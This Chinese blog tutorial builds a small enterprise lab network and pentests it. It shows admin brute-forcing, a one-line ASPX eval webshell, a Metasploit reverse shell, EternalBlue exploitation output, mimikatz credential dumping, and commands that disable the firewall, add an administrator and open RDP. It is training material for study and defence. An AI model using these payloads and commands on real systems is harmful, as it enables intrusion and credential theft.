从0到1学会搭建小型企业拓扑到由外向内的渗透测试


前言

最近的一个培训活动,需要搭建一个小型企业网络环境,并针对整个企业环境做一个渗透测试评估,包括从企业网络拓扑规划、部署到企业网络内外网的渗透测试,整个详细过程如下。

拓扑规划

规划小型企业拓扑架构:使用Cisco模拟器PacketTracer7GNS3进行拓扑的规划模拟

image-20200621151944463

网络分布主要分为外网和内网两大部分,在边界路由器中外网IP段为:192.33.6.0/24、内网IP网段为:192.168.9.0/24

拓扑搭建

本地拓扑的搭建部署使用vmware workstation多台主机去真实部署。其中,边界路由器使用Windows Server2003加持多块网卡,外网边界的网卡使用NAT模式正常建立外网的通信服务,内网边界的网卡使用仅主机模式,建立一个小型局域网。内部服务器包括WWW、DHCP等部署在一台主机Windows Server2003中,当然这里可以使用多台主机分别部署相应的服务。内部普通主机用一台Windows7来表示。

DHCP服务器搭建

内网DHCP服务器负责内网上线主机的IP分配,在搭建DHCP服务器的时候vmware workstation中充当内网网卡的接口上需要去掉默认的DHCP配置,避免vmware workstation中DHCP服务的影响。

image-20200621155204495

正式在Windows Server2003上部署DHCP服务

首先设置主机固定IP:Network-192.168.9.50Netmask-255.255.255.0Gateway-192.168.9.254

下来添加Windows组件进行DHCP服务的安装设置:在控制面板里面找到添加或删除应用程序,进入里面选择添加或删除Windows组件,找到网络服务开启动态主机配置协议(DHCP)

image-20200621155749009

继续下一步设置DHCP地址范围、添加路由器(默认网关)、DNS

image-20200621160131564

配置完成之后,回到桌面依次点击开始-程序-管理工具-dhcp进入dhcp服务中心,通过DHCP Server的地址租约以及内网主机IP配置,查看DHCP给内网主机分配的IP情况

image-20200621172850442

从上面可以看到dhcp服务正常运行,测试内网主机与服务器的连通性

image-20200621173319600

内外网边界NAT

由于内网是一个小型局域网,所以在边界路由器还未做出相关配置时内网主机与外界的通信是隔离的,要想内网主机可以访问外网就需要在边界路由器上做NAT转换。

在桌面依次点击开始-程序-管理工具-路由和远程访问进入路由和远程访问服务器,Server中右键配置并启用路由和远程访问,之后开始配置网络地址转换(NAT)

image-20200621173748390

边界路由NAT配置完成之后,在内网普通主机win7上进行测试:

image-20200621175053958

从上图NAT配置之前之后对比可以看到NAT在内网访问外网的效果,那么外网对内网的访问效果又是如何呢,这里事实上外网主机是不能够直接与内网主机进行通信的,同时在外网的主机是不知道企业内网的拓扑结构情况。

image-20200621175623852

WWW服务器搭建

WWW服务器负责提供web站点部署公司网站发布重要信息等,这里使用Windows Server2003+IIS进行部署:同样在控制面板里面找到添加或删除应用程序,进入里面选择添加或删除Windows组件,找到应用程序服务器在里面勾选ASP.NETIIS进行安装。

image-20200621181727890

相关组件安装完成之后,在桌面依次点击开始-程序-管理工具-IIS进入Internet信息服务(IIS)管理器中,在里面创建自己的web站点,这里可以禁用IIS默认提供的web站点wwwroot,自己创建并部署一个新的web站点0791idc

image-20200621182117387

基本部署完成之后还需要在web服务扩展里面开启相应的服务扩展

image-20200621182342895

一切部署完毕之后,开始在内网普通主机win7上测试www服务器web站点的工作情况

image-20200621182650289

WWW服务器发布

在企业边界路由器还未进行相应配置时,外网主机是无法直接访问内网中的www服务器也不知道内网的拓扑结构,但是企业肯定是需要外网主机可以访问自己公司的web站点服务,那么这个时候就需要在边界路由器设置端口映射,将内网www服务器发布出去,使外网主机可以正常访问内网所提供的www服务:在桌面依次点击开始-程序-管理工具-路由和远程访问-SERVER-IP路由选择找到NAT/基本防火墙然后右键本地连接(外网边界路由器网卡接口)进入本地连接属性勾选Web服务器(HTTP)进行设置内网www服务器的端口映射

image-20200621183642833

边界路由设置完内网www服务器端口映射之后,测试外网主机192.33.6.150是否可以正常访问内网所发布出来的Web站点服务:注意访问的IP-192.33.6.200为外网边界路由器网卡接口IP

image-20200621183823253

Web渗透

信息收集

对网站进行敏感信息收集:此处使用dirsearch: Web path scanner进行扫描探测

image-20200621220900261

根据探测到的信息,访问admin路径,得到管理员后台

image-20200621221027326

分析后台登陆存在账户名+账户密码+验证码三个字段来验证。首先探测验证码变化情况,拦截请求数据包发现在一个会话之内同一个验证码不影响拦截请求包的多次请求响应

image-20200621225734242

既然验证码是上述那样的机制,那么就可以直接爆破后台管理员的账户和密码:使用burpsuite的intruder模块进行爆破,针对UserNamePassword两个字段进行设置破解

image-20200621230250859

从上可知得到一组管理员账号密码admin1:123456,使用admin1账户成功登陆后台进入后台管理界面

image-20200621230834302

漏洞发现

在后台界面寻找可利用模块,首先在荣誉管理下添加企业形象中发现存在图片上传功能:抓包看是否能绕过限制上传Webshell,发现存在白名单限制,只能上传图片马UploadFiles/2020621233114154.jpg

image-20200621233152094

继续寻找是否存在其余可利用点,在系统管理界面下发现存在数据库备份功能,该功能可以修改服务器上任意原始文件名并重新备存保存在数据库备份目录下,于是可以尝试修改前面上传的图片马文件名称

image-20200621233903489

可以看到修改成功,但是好像存在.asa后缀,不过使用.asa后缀是无法访问的,不加.asa后缀可以正常访问文件,怀疑是一个假后缀!!

image-20200621234613471

漏洞利用

既然是假后缀,直接使用蚁剑进行连接管理上传的Webshell,连上Webshell之后却发现不能执行cmd命令。。。

image-20200621234950818

针对这个问题怀疑是服务端asp不支持cmd的问题,既然这样尝试上传自己的CMD.exe却发现服务器不让上传exe可执行文件,而其他所有文件都可以上传。。。

image-20200621235529789

没办法了只有尝试上传aspx的木马webshell【aspx与asp的差异性】进行利用:按照上面步骤上传aspx大马文件(或者简单一句话木马),使用大马文件中的执行cmd命令模块发现可以执行并有回显(这里使用一句话aspx木马蚁剑连接,虚拟终端也是可以正常使用的)

  • 一句话木马aspx
一句话aspx木马 <%@ Page Language="Jscript"%><%eval(Request.Item["Admin"],"unsafe");%>

蚁剑虚拟终端:
(*) 基础信息
当前路径: C:/Inetpub/0791idc/admin/Databackup
磁盘列表: C:D:
系统信息: Microsoft Windows NT 5.2.3790.0
当前用户: NETWORK SERVICE
(*) 输入 ashelp 查看本地命令
C:\Inetpub\0791idc\admin\Databackup> whoami
nt authority\network service
系统找不到指定的路径。
c:\windows\system32\inetsrv> 
  • 大马aspx

image-20200622000148939

由于查看web服务器系统权限为authority\network service,所以向服务器上传提权工具进行提权:上传目录为C:\RECYCLER\【为什么上传目录是这个目录呢,因为这个特殊目录在Windows中一般情况下不管什么用户都具有可写权限】

image-20200622001625465

内网渗透

发现内网

在已经拿到的www服务器上查看web服务器的真实IP地址信息会发现,和访问的地址不一样,而查出的这个地址192.168.9.50是其真实的IP地址,也就是其所处的内网IP地址

image-20200622002850388

探测内网

已经知道了www服务器的内网IP地址,也确定了存在内网,那么下一步为了方便,开始制作msf后门程序反弹一个shell给msf,以www服务器为跳板对内网就行进一步的探索与发现

这里使用msfvenom制作木马后门程序反弹shell给msf并在msf中开启监听(如果对方www服务器存在安全软件,就要考虑相应的免杀操作)

image-20200622003816489

继续使用上面的Webshell-admini.aspx上传msf.exe到www服务器中,执行反弹shell给msf

image-20200622010142663

在反弹回来的meterpreter中添加内网路由使得msf可以访问内网(msf以www服务器为跳板访问内网主机)

MSF的跳板功能,其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话。

MSF 路由添加帮助查询命令如下:

meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
meterpreter > 

获取目标内网地址段:具体获取被攻击目标内网地址网段的命令如下所示:

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.9.0/255.255.255.0
meterpreter >

由上可以获知,目标内网网段是“192.168.9.0/24”

添加去往目标网段的转发路由:在meterpreter 会话上直接添加去往目标网段的路由,具体添加方法如下所示。

meterpreter > run autoroute -s 192.168.9.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.9.0/255.255.255.0...
[+] Added route to 192.168.9.0/255.255.255.0 via 192.33.6.200
[*] Use the -p option to list all active routes
meterpreter >

添加网路由后,我们来查看下路由的添加情况如何,具体命令如下所示:

meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.9.0        255.255.255.0      Session 1
meterpreter >

从上面内容,我们可以看到添加的一条路由信息:

目标:192.168.9.0 掩码:255.255.255.0 下一跳网关:Session 1

这里的 Session 1,即当前被攻击目标主机与MSF平台建立的meterperter会话。

到这里,MSF平台就有了去往内网网段的路由,我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。

使用arp_scanner模块扫描探测内网存活主机

meterpreter > run arp_scanner -r 192.168.9.0/24
[*] ARP Scanning 192.168.9.0/24
[*] IP: 192.168.9.50 MAC 00:0c:29:23:57:f3
[*] IP: 192.168.9.101 MAC 00:0c:29:fb:6f:2e
[*] IP: 192.168.9.254 MAC 00:0c:29:8c:0f:e7
meterpreter >

发现存在内网主机除www服务器以外的另一台内网主机:192.168.9.101,下来对这台内网主机进行全面的信息收集

使用msf辅助模块对主机192.168.9.101进行端口扫描

msf5 auxiliary(server/socks5) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 auxiliary(scanner/portscan/tcp) > set ports 1-65535
ports => 1-65535
msf5 auxiliary(scanner/portscan/tcp) > set threads 100
threads => 100
msf5 auxiliary(scanner/portscan/tcp) > run

[+] 192.168.9.101:        - 192.168.9.101:135 - TCP OPEN
[+] 192.168.9.101:        - 192.168.9.101:139 - TCP OPEN
[+] 192.168.9.101:        - 192.168.9.101:445 - TCP OPEN
[*] 192.168.9.101:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/portscan/tcp) > 

PS:注意这里不能直接使用Nmap进行信息收集,因为上文的msf路由只是作用于msf上下文,而不是整个主机上的应用。那么怎么样才能正常使用主机上的nmap呢,这里就需要在msf中利用辅助模块开启socks代理并设置proxychains。

知道了内网主机开启了445端口,那么使用永恒之蓝漏洞ms17-010对其进行探测是否存在相应漏洞

搜索相应模块: ms17-010

msf5 auxiliary(scanner/portscan/tcp) > search ms17_010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution


msf5 auxiliary(scanner/portscan/tcp) >

使用该模块ms17-010进行探测:

msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.9.101:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.9.101:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_ms17_010) >

探测到主机为Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)并且存在永恒之蓝漏洞,使用ms17-010攻击模块对内网主机192.168.9.101进行攻击。

攻击内网

使用相应ms17-010攻击模块进行内网主机192.168.9.101的攻击

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 exploit(windows/smb/ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) >
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit 

[*] Started reverse TCP handler on 192.33.6.150:8443 
[*] 192.168.9.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.9.101:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.9.101:445     - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.9.101:445 - Connecting to target for exploitation.
[+] 192.168.9.101:445 - Connection established for exploitation.
[+] 192.168.9.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.9.101:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.9.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
[*] 192.168.9.101:445 - 0x00000010  72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63  rise 7601 Servic
[*] 192.168.9.101:445 - 0x00000020  65 20 50 61 63 6b 20 31                          e Pack 1        
[+] 192.168.9.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.9.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.9.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.9.101:445 - Starting non-paged pool grooming
[+] 192.168.9.101:445 - Sending SMBv2 buffers
[+] 192.168.9.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.9.101:445 - Sending final SMBv2 buffers.
[*] 192.168.9.101:445 - Sending last fragment of exploit packet!
[*] 192.168.9.101:445 - Receiving response from exploit packet
[+] 192.168.9.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.9.101:445 - Sending egg to corrupted connection.
[*] 192.168.9.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 192.33.6.200
[*] Meterpreter session 3 opened (192.33.6.150:8443 -> 192.33.6.200:63021) at 2020-06-21 15:01:11 -0400
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

可以看到永恒之蓝漏洞利用成功,查看系统权限、IP等信息

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:fb:6f:2e
MTU          : 1500
IPv4 Address : 192.168.9.101
IPv4 Netmask : 255.255.255.0
meterpreter >

加载第三方模块mimikatz抓取系统账户信息:抓取到一组普通用户root:root

meterpreter > load mimikatz 
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > kerberos 
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID    Package    Domain           User              Password
------    -------    ------           ----              --------
0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;996     Negotiate  WORKGROUP        WIN-5DTIE0M734E$  
0;49298   NTLM                                          
0;999     NTLM       WORKGROUP        WIN-5DTIE0M734E$  
0;289498  NTLM       WIN-5DTIE0M734E  root              root
0;289452  NTLM       WIN-5DTIE0M734E  root              root

meterpreter > 

关闭内网主机防火墙、添加管理员、开启3389

meterpreter > shell
Process 1188 created.
Channel 3 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>netsh advfirewall set allprofiles state off 
netsh advfirewall set allprofiles state off
ȷ����
C:\Windows\system32>
C:\Windows\system32>net user qftm0 123 /add
net user qftm0 123 /add
�����ɹ����ɡ�
C:\Windows\system32>net localgroup administrators qftm0 /add
net localgroup administrators qftm0 /add
�����ɹ����ɡ�
C:\Windows\system32>
C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
�����ɹ����ɡ�

C:\Windows\system32>

使用meterpreter中端口映射工具portfwd将内网主机3389端口映射出去,使得外网主机可以远程控制内网主机

meterpreter > portfwd add -L 192.33.6.150 -l 7777 -p 3389 -r 192.168.9.101
[*] Local TCP relay created: 192.33.6.150:7777 <-> 192.168.9.101:3389
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local              Remote              Direction
   -----  -----              ------              ---------
   1      192.33.6.150:7777  192.168.9.101:3389  Forward

1 total active port forwards.

meterpreter >

PS:-L表示外网主机IP、-r表示内网主机IP、-p、-l表示将内网3389端口转发到外网主机的7777端口

上述工作做完之后,使用添加的管理员账户远程连接内网主机:192.168.9.101:3389 —> 192.33.6.150:7777

image-20200622034823119

到这里测试评估的工作已经基本做完了,最后查看一下msf中所有的会话session信息

msf5 > sessions 

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x86/windows  NT AUTHORITY\NETWORK SERVICE @ SERVER  192.33.6.150:3333 -> 192.33.6.200:62901 (192.168.9.50)
  3         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-5DTIE0M734E  192.33.6.150:8443 -> 192.33.6.200:63021 (192.168.9.101)

msf5 >

修补建议

  • www服务器部署WAF
  • 边界路由做防火墙
  • 部署IPS安全设备
  • 内网服务器设置专属的DMZ区域,配置访问控制【DMZ不可以访问内网、但内网可以访问DMZ】
  • 资产的管理
  • 系统漏洞或软件漏洞及时更新或打补丁

总结

网络安全的本质就是攻防对抗。攻击者会不断寻找防护方的弱点,防护方也需要不断研究攻击者的思维,探索应对攻击者攻击的方法,提升安全防护的能力和效率。

文章首发于安全客:https://www.anquanke.com/post/id/208992

Author: Qftm
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Qftm !
 Previous
从0到1认识Redis到多维角度场景下的安全分析与利用 从0到1认识Redis到多维角度场景下的安全分析与利用
Redis数据库安全性问题对于安全测试人员来说再熟悉不过了,这里将针对该数据库做一个基本的介绍和多维角度场景下的安全分析与利用探索。
2020-07-18
Next 
Metasploit Framework Handbook Metasploit Framework Handbook
众所周知Metasploit工具是一款强大的渗透测试利器,在渗透测试中堪称一条龙服务,那么很多人真的能够认识到它其中的强大之处吗,了解其中的每部分功能吗,还是说在个别人眼中只是一个由虚拟机搭建的一个小拓扑使用其直接攻打windows主机拿到主机权限就结束了吗
2020-06-20
  TOC